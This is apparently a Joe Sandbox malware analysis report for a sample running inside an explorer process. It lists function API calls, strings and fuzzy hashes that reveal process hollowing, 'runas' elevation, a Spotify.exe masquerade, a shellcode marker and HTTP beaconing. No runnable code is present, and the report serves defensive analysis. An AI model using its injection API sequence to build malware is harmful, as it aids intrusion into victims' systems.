Part of subcall function 01195AD0: GetModuleFileNameW.KERNEL32 ref: 01195AFE
Part of subcall function 01195AD0: _LDint.LIBCPMTD ref: 01195B15
Part of subcall function 01195AD0: CreateFileW.KERNEL32 ref: 01195B93
Part of subcall function 01195AD0: WriteFile.KERNEL32 ref: 01195BF0
Part of subcall function 01195AD0: CloseHandle.KERNEL32 ref: 01195C13

Strings

shellcode, xrefs: 0119E8E7
{4002ADAA-2323-44A5-9F39-80B79D7023EC}, xrefs: 0119EA4E, 0119EB53
{0F0641A2-3ABD-446F-81C5-65FC68B7C330}, xrefs: 0119E972
{72A3B189-93CE-456F-B494-1FB1DB2DA359}, xrefs: 0119EC46
{669627E2-6B39-4990-B906-8786734FF1DD}, xrefs: 0119E90D
{094CBDBD-CA58-4DF6-999A-7FCC415A528A}, xrefs: 0119E936
{BBD69D41-7ECF-4B3B-8592-7E70DE12B303}, xrefs: 0119E9E4, 0119EADE, 0119EBE6, 0119EC73
{A44FB1B8-C69C-4CA5-B3EE-4AE5C96B528F}, xrefs: 0119EA30
{8BF89F76-FE32-4DAA-9B54-D6ACD7227894}, xrefs: 0119EB35
{1C8F1E61-D31A-4DE2-A46A-E1D82FC75222}, xrefs: 0119EA8E, 0119EB93

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$CommandLinelstrcmpi$ArgvCloseCreateDintHandleModuleNameWrite
String ID: shellcode${094CBDBD-CA58-4DF6-999A-7FCC415A528A}${0F0641A2-3ABD-446F-81C5-65FC68B7C330}${1C8F1E61-D31A-4DE2-A46A-E1D82FC75222}${4002ADAA-2323-44A5-9F39-80B79D7023EC}${669627E2-6B39-4990-B906-8786734FF1DD}${72A3B189-93CE-456F-B494-1FB1DB2DA359}${8BF89F76-FE32-4DAA-9B54-D6ACD7227894}${A44FB1B8-C69C-4CA5-B3EE-4AE5C96B528F}${BBD69D41-7ECF-4B3B-8592-7E70DE12B303}
API String ID: 3070626111-1066670274
Opcode ID: 3127917cb21087ce76972a75fedb307400ad31297a52c85d84f0972bdcbee6c9
Instruction ID: 006275480f0de491ab6a7862712b8f6f563df941517fb7f3eca209ed215f3563
Opcode Fuzzy Hash: 3127917cb21087ce76972a75fedb307400ad31297a52c85d84f0972bdcbee6c9
Instruction Fuzzy Hash: 04B1FB31205E8482EB5CEF29E8443DA67A1F788B95F444139E79B876B4DF7CC48ACB41

Function 0119A3B0 Relevance: 68.5, APIs: 29, Strings: 10, Instructions: 205memorystringprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 0119A460
SetEvent.KERNEL32 ref: 0119A4CF
LocalAlloc.KERNEL32 ref: 0119A50A
wnsprintfW.SHLWAPI ref: 0119A54F
LocalAlloc.KERNEL32 ref: 0119A55F
lstrcpyW.KERNEL32 ref: 0119A58C
LocalAlloc.KERNEL32 ref: 0119A5B5
lstrcpyW.KERNEL32 ref: 0119A5E1
CoInitializeEx.COMBASE ref: 0119A660
ShellExecuteExW.SHELL32 ref: 0119A675
GetLastError.KERNEL32 ref: 0119A682
CoUninitialize.COMBASE ref: 0119A699
LocalAlloc.KERNEL32 ref: 0119A6E2
wnsprintfW.SHLWAPI ref: 0119A733
CreateProcessW.KERNEL32 ref: 0119A7A2
OpenEventW.KERNEL32 ref: 0119A7C7
SetEvent.KERNEL32 ref: 0119A7E8
CloseHandle.KERNEL32 ref: 0119A7F6
LocalFree.KERNEL32 ref: 0119A804
LocalFree.KERNEL32 ref: 0119A812
OpenEventW.KERNEL32 ref: 0119A828
SetEvent.KERNEL32 ref: 0119A849
CloseHandle.KERNEL32 ref: 0119A857
LocalFree.KERNEL32 ref: 0119A865
LocalFree.KERNEL32 ref: 0119A873
LocalFree.KERNEL32 ref: 0119A881
LocalFree.KERNEL32 ref: 0119A88F
shutdown.WS2_32 ref: 0119A89F
closesocket.WS2_32 ref: 0119A8AA

Part of subcall function 0119FBA0: CreateDirectoryW.KERNEL32 ref: 0119FBD8
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FBE3
Part of subcall function 0119FBA0: LocalAlloc.KERNEL32 ref: 0119FBFE
Part of subcall function 0119FBA0: CreateFileW.KERNEL32 ref: 0119FC6E
Part of subcall function 0119FBA0: GetLastError.KERNEL32 ref: 0119FC79
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD16
Part of subcall function 0119FBA0: LocalFree.KERNEL32 ref: 0119FD21

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

Strings

runas, xrefs: 0119A63F
"%s%s" %s, xrefs: 0119A71F
"%s%s", xrefs: 0119A53B
@@, xrefs: 0119A604
h, xrefs: 0119A74B
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 0119A7B9, 0119A81A
Spotify.exe, xrefs: 0119A527, 0119A70B
{A44FB1B8-C69C-4CA5-B3EE-4AE5C96B528F}, xrefs: 0119A5D2
{8BF89F76-FE32-4DAA-9B54-D6ACD7227894}, xrefs: 0119A6FF
p, xrefs: 0119A5F9

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$Event$CreateErrorLastlstrlen$CloseHandleOpenlstrcpywnsprintf$DirectoryExecuteFileFolderInitializeKnownPathProcessShellTaskUninitializeclosesocketsetsockoptshutdown
String ID: "%s%s"$"%s%s" %s$@@$Spotify.exe$h$p$runas${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}${8BF89F76-FE32-4DAA-9B54-D6ACD7227894}${A44FB1B8-C69C-4CA5-B3EE-4AE5C96B528F}
API String ID: 852330099-1461230316
Opcode ID: 9fdb54751ab223528b477e0356fa8e77d3d1709116a267faf5ee03a62359e9d4
Instruction ID: 92184b23f463e4af59921ff9a0ea1eef1c8d79052083d652d5c04cc0f4d71c92
Opcode Fuzzy Hash: 9fdb54751ab223528b477e0356fa8e77d3d1709116a267faf5ee03a62359e9d4
Instruction Fuzzy Hash: EEC1B436208B8586EB799F14F4983DAB3A1F788755F50412ADB9E47B68DF7CC089CB40

Function 01197940 Relevance: 51.0, APIs: 26, Strings: 3, Instructions: 228nativethreadprocessCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 0119795D
CreateProcessW.KERNEL32 ref: 01197A16
NtCreateSection.NTDLL ref: 01197A71
GetCurrentProcess.KERNEL32 ref: 01197AA7
NtMapViewOfSection.NTDLL ref: 01197AFA
NtMapViewOfSection.NTDLL ref: 01197B8F
NtCreateSection.NTDLL ref: 01197BF6
GetCurrentProcess.KERNEL32 ref: 01197C2C
NtMapViewOfSection.NTDLL ref: 01197C7F
NtMapViewOfSection.NTDLL ref: 01197D14
GetThreadContext.KERNEL32 ref: 01197D5C
SetThreadContext.KERNEL32 ref: 01197D98
ResumeThread.KERNEL32 ref: 01197DAC
NtUnmapViewOfSection.NTDLL ref: 01197DC8
NtUnmapViewOfSection.NTDLL ref: 01197DDB
NtClose.NTDLL ref: 01197DE9
NtClose.NTDLL ref: 01197DF7
NtUnmapViewOfSection.NTDLL ref: 01197E53
NtUnmapViewOfSection.NTDLL ref: 01197E66
NtClose.NTDLL ref: 01197E74
NtUnmapViewOfSection.NTDLL ref: 01197E87
NtUnmapViewOfSection.NTDLL ref: 01197E9A
NtClose.NTDLL ref: 01197EA8
CloseHandle.KERNEL32 ref: 01197EB3
CloseHandle.KERNEL32 ref: 01197EBE
TerminateProcess.KERNEL32 ref: 01197ECB

Strings

@, xrefs: 01197BD6
h, xrefs: 0119797A
@, xrefs: 01197CC5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Section$View$CloseUnmap$Process$CreateCurrentThread$ContextHandle$ResumeTerminate
String ID: @$@$h
API String ID: 2911138354-1939477041
Opcode ID: 8b9736486d1c1bb18502a02d052894d07546cc1a1eb466c729bb3f1f531f4655
Instruction ID: 88b892271f903a968db1b7649dcc384ff0003fd423cc6251cb810ae5bb2662ef
Opcode Fuzzy Hash: 8b9736486d1c1bb18502a02d052894d07546cc1a1eb466c729bb3f1f531f4655
Instruction Fuzzy Hash: 47D19C76118AC486E764DB15F4983DAB7A1F7C8798F004129EB8A83B68DF7DC499CF40

Function 011BF964 Relevance: 40.7, APIs: 22, Strings: 1, Instructions: 465COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 011BF9BA
_errno.LIBCMT ref: 011BF9C1
_invalid_parameter_noinfo.LIBCMT ref: 011BF9CC

Strings

U, xrefs: 011BFF48

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_invalid_parameter_noinfo
String ID: U
API String ID: 3902385426-4171548499
Opcode ID: 8f6b26654e27598fab1e916dcbf4c9cba279a53099fc561579a7e683be8f4827
Instruction ID: 44a0304da33c6dc462b67f901bf5f259d42d849a7e809986802eb8c354b9a0cd
Opcode Fuzzy Hash: 8f6b26654e27598fab1e916dcbf4c9cba279a53099fc561579a7e683be8f4827
Instruction Fuzzy Hash: D6022733304A8686EB289F29E8C47EEB761F799B84F55011AEF4A47758DB3DC046CB40

Function 011AD030 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 182synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 011AD05F
CreateMutexW.KERNEL32 ref: 011AD087
LocalFree.KERNEL32 ref: 011AD39E
CloseHandle.KERNEL32 ref: 011AD3B5
CloseHandle.KERNEL32 ref: 011AD3D7
CloseHandle.KERNEL32 ref: 011AD3F9

Strings

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0, xrefs: 011AD0D8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$Create$EventFreeLocalMutex
String ID: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0
API String ID: 4059844998-3593534564
Opcode ID: 09c84e51a5f2523b42a324423d7d7ca560e18063558a9df129115e9e782c7eef
Instruction ID: 3431d2b4c51be71dc411ea347d5448bec7971b03a6b879a09ba2682e7e9ce587
Opcode Fuzzy Hash: 09c84e51a5f2523b42a324423d7d7ca560e18063558a9df129115e9e782c7eef
Instruction Fuzzy Hash: 94A12B39208F9582EB6CDB65F8547DA67A5FB80754F80423AE79D43AA4DF3DC486CB00

Function 01194DA0 Relevance: 37.0, APIs: 15, Strings: 6, Instructions: 218filestringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 01194E23
CoTaskMemFree.COMBASE ref: 01194E5D
GetTempPathW.KERNEL32 ref: 01194E90
CreateDirectoryW.KERNEL32 ref: 01194F15
GetLastError.KERNEL32 ref: 01194F22
lstrcpyW.KERNEL32 ref: 01194F5A
CreateFileW.KERNEL32 ref: 01194FC0
GetLastError.KERNEL32 ref: 01194FD9

Strings

%s\%s, xrefs: 01194F7B
h, xrefs: 011950F5
"%s", xrefs: 011951BC
"%s" "%s", xrefs: 011950BD
%s\%s, xrefs: 01194EF2
Open, xrefs: 011951F7

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: CreateErrorLastPath$DirectoryFileFolderFreeKnownTaskTemplstrcpy
String ID: "%s"$"%s" "%s"$%s\%s$%s\%s$Open$h
API String ID: 1929679530-3531242659
Opcode ID: cbe97f7d8983bdb2611ec03a94b5e63e71019160d72ef76e16489aa1337f778f
Instruction ID: 53d02ea1af17275bd12fb4073f58f1779b77ec8c47826cd02617bbc5f4ccae15
Opcode Fuzzy Hash: cbe97f7d8983bdb2611ec03a94b5e63e71019160d72ef76e16489aa1337f778f
Instruction Fuzzy Hash: 54B13732218BC596EB78DF64E4883DAB7A2F784754F804226D69D83B98DF3CC519CB40

Function 011AAD50 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 245COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 011AAD6B
RtlTimeToSecondsSince1970, xrefs: 011AAE42
NTDLL.DLL, xrefs: 011AAE24
text/plain, xrefs: 011AAD77
h, xrefs: 011AAF32
HEAD, xrefs: 011AB0C6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID: HEAD$NTDLL.DLL$RtlTimeToSecondsSince1970$application/octet-stream$h$text/plain
API String ID: 0-2522958032
Opcode ID: 046551e85585fe9dc31a01bf0e73871837a0d248a0eed496a8bb53954d6c9c8e
Instruction ID: 2839f13eceb27ae04495f2baba6e07059930027d46a24f061f6665be305728af
Opcode Fuzzy Hash: 046551e85585fe9dc31a01bf0e73871837a0d248a0eed496a8bb53954d6c9c8e
Instruction Fuzzy Hash: 65D1E476218AC486E7799B54F4947DEBBA1F7C8744F80412ADB8A43A68DF7CC489CF40

Function 011AA510 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMON

Download Yara Rule

Strings

GET, xrefs: 011AA866
text/plain, xrefs: 011AA53D
h, xrefs: 011AA6D2
application/octet-stream, xrefs: 011AA531

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID: GET$application/octet-stream$h$text/plain
API String ID: 0-3456709813
Opcode ID: c8664ecd2ce9a1dc014cd3d8be18d4b3b9f4ddf8030916ce27af9d2bff062b64
Instruction ID: 9968fd7468e0bfedd2ae88273173d87800b82e8584cf03b87b71d7b4c86cdb2c
Opcode Fuzzy Hash: c8664ecd2ce9a1dc014cd3d8be18d4b3b9f4ddf8030916ce27af9d2bff062b64
Instruction Fuzzy Hash: 5F02D376219BC486E7789B15F4947DABBA1F788744F80452AEB8A83B58DF3CC485CF40

Function 011997F0 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 146sleepfilestringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 01199854
lstrlenW.KERNEL32 ref: 01199863
CoTaskMemFree.COMBASE ref: 011998D2
FindFirstFileW.KERNEL32 ref: 01199957
DeleteFileW.KERNEL32 ref: 011999E5
FindNextFileW.KERNEL32 ref: 011999FB
FindClose.KERNEL32 ref: 01199A11
Sleep.KERNEL32 ref: 01199A28
GetFileAttributesW.KERNEL32 ref: 01199A3F
GetFileAttributesW.KERNEL32 ref: 01199A7A

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RemoveDirectoryW.KERNEL32 ref: 01199A51
Sleep.KERNEL32 ref: 01199A63
RemoveDirectoryW.KERNEL32 ref: 01199A8F
Sleep.KERNEL32 ref: 01199AA1

Strings

%s\*.*, xrefs: 0119990C
\\?\%s , xrefs: 0119988B
%s\System32, xrefs: 011998AC
%s\%s, xrefs: 011999C4

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File$FindSleep$AttributesDirectoryRemove$CloseDeleteFirstFolderFreeKnownNextPathTask_errno_invalid_parameter_noinfolstrlen
String ID: %s\%s$%s\*.*$%s\System32$\\?\%s
API String ID: 3007324005-2457321626
Opcode ID: b267a56e6ab7b9a000c922ea95a34f4d4a28f519d58c957bc6e25a78e90fa5e3
Instruction ID: d1b2c0fd11a909284f6b9dd9e4c8a58f68fb0051b4ca820953922c77b92c7860
Opcode Fuzzy Hash: b267a56e6ab7b9a000c922ea95a34f4d4a28f519d58c957bc6e25a78e90fa5e3
Instruction Fuzzy Hash: 296168311189C9C6EB28DF24E8943DE73A1F7C4758F80452AD7AA87A98DF3DC555CB40

Function 011B5AD0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 100librarymemoryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B5AE1
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5AFF
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5B17
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5B30
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5B48

Strings

RtlGetVersion, xrefs: 011B5B24
NTDLL.DLL, xrefs: 011B5AF8

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$AddressAllocLibraryLoadProc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2539306102-196638859
Opcode ID: 2a0aeae9c634e8d68b7f2cb2bba8257a7f840cb0e5baf0165ae7715a5647e2fc
Instruction ID: 4a24589e8d57fdd519e54adc80e5f9a0b236af44d7ce1455afc75521486d66d2
Opcode Fuzzy Hash: 2a0aeae9c634e8d68b7f2cb2bba8257a7f840cb0e5baf0165ae7715a5647e2fc
Instruction Fuzzy Hash: 3051E576209A8886E768DF15E4947DA77A5F788B48F400629EB8E83768DF3CC545CF40

Function 011BE9BC Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 159fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 011BEA01
_set_error_mode.LIBCMT ref: 011BEA12
GetModuleFileNameW.KERNEL32 ref: 011BEA74

Part of subcall function 011BA964: GetCurrentProcess.KERNEL32(?,?,?,?,011BAA06), ref: 011BA97C

GetStdHandle.KERNEL32 ref: 011BEB89
WriteFile.KERNEL32 ref: 011BEBE6

Strings

<program name unknown>, xrefs: 011BEA83
Microsoft Visual C++ Runtime Library, xrefs: 011BEB2D
Runtime Error!Program: , xrefs: 011BEA41
..., xrefs: 011BEAC6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: File_set_error_mode$CurrentHandleModuleNameProcessWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 2183313154-4022980321
Opcode ID: ef2a5d33bd846243a7eab9aed687a3acfa5533d68f3e617418224947dace77c2
Instruction ID: 174cd5a676763db885130b8717d44444b7ae97de636fb843f183b632e2c55d2a
Opcode Fuzzy Hash: ef2a5d33bd846243a7eab9aed687a3acfa5533d68f3e617418224947dace77c2
Instruction Fuzzy Hash: 8F51F23630579282EB2CDB39B9A47EA7356FB99B88F44412ADF5A43B54DF3CC106C640

Function 011A11A4 Relevance: 15.0, APIs: 10, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 011A11EB
NtUnmapViewOfSection.NTDLL ref: 011A1201
NtClose.NTDLL ref: 011A120F
